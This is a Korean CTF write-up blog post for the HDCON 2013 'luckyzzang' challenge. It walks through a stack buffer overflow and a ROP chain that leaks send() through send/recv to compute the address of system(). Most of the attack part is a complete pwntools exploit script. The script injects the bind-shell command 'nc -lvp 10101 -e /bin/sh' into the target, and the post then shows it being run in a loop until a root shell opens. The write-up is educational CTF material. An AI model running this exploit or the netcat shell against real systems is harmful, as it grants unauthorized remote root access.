System&Write up/CTF

[HDCON 2013] luckyzzang

Jubil 2018. 1. 30. 13:44
반응형

[HDCON 2013] luckyzzang

 


 

Binary는 이렇습니다. canary는 없네요.

 


 

포트는 7777번으로 연결해줍니다.

 

 


 

들어가면 MSG를 입력 받고 종료됩니다.

 

 


 

입력 받는 부분을 보면 BOF가 터집니다. 하지만 v2 % 100의 숫자가 클 때 공격이 성공할 것 같습니다.

 

 

바이너리에 system 함수가 없으니 ROP를 이용해서 system 함수의 주소를 구하고 리버스 커넥션으로 exploit 하겠습니다. bufReturn address의 거리는 0x408 + 4입니다.

 

입출력으로 send, recv를 이용할 것이니 ppppr gadget을 구해주겠습니다.

 


 

pppr : 0x080489cc

 

 

send 함수와 system 함수의 차(offset)을 이용해서 exploit할 때 system 함수의 주소를 알아내겠습니다.

 


 

offset : 0xabdd0

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

from pwn import *

 

= remote('localhost'7777)

= ELF('./luckyzzang')

 

send_plt = e.plt['send']

send_got = e.got['send']

recv_plt = e.plt['recv']

 

ppppr = 0x080489cc

offset = 0xabdd0

 

cmd = 'nc -lvp 10101 -e /bin/sh'

 

#Access the return address

payload = ""

payload += "A"*(0x408+4)

 

#Input command

payload += p32(recv_plt)

payload += p32(ppppr)

payload += p32(4)

payload += p32(e.bss())

payload += p32(len(cmd)+1)

payload += p32(0)

 

#Output send_add

payload += p32(send_plt)

payload += p32(ppppr)

payload += p32(4)

payload += p32(send_got)

payload += p32(4)

payload += p32(0)

 

#Input system_add

payload += p32(recv_plt)

payload += p32(ppppr)

payload += p32(4)

payload += p32(send_got)

payload += p32(4)

payload += p32(0)

 

#Call send_plt(system)

payload += p32(send_plt)

payload += "AAAA"

payload += p32(e.bss())

 

s.sendlineafter('MSG : ', payload)

s.sendline(cmd)

 

send = u32(s.recv(4))

system = send - offset

 

print "[+] send() add   : " + hex(send)

print "[+] system() add : " + hex(system)

 

s.sendline(p32(system))

 

print 'Go "nc localhost 10101"'

cs

 

 

시나리오대로 코드를 작성했습니다.

 

 

손으로 돌리는 것 보다는

while true;do python luckyzzang_ex.py;done

이렇게 반복문을 돌리는 게 편하겠죠?

 

 

반복문을 돌려놓고 다른 터미널에 들어가서 nc localhost 10101로 접속해봅시다.

 

 


 <반복문>

이렇게 recv가 안될 때도, send가 안될 때도, 끝까지 ex가 실행될 때도 있습니다.

 

 


 <다른 터미널>

root 쉘을 취득했습니다.

반응형

'System&Write up > CTF' 카테고리의 다른 글

[Codegate 2018] BaskinRobins31  (4) 2018.02.09
[Codegate 2014] nuclear  (0) 2018.01.31
[Codegate 2014] angry_doraemon  (0) 2018.01.30
[Codegate 2017] babypwn  (0) 2018.01.29
[Pico CTF 2013] rop4  (0) 2018.01.21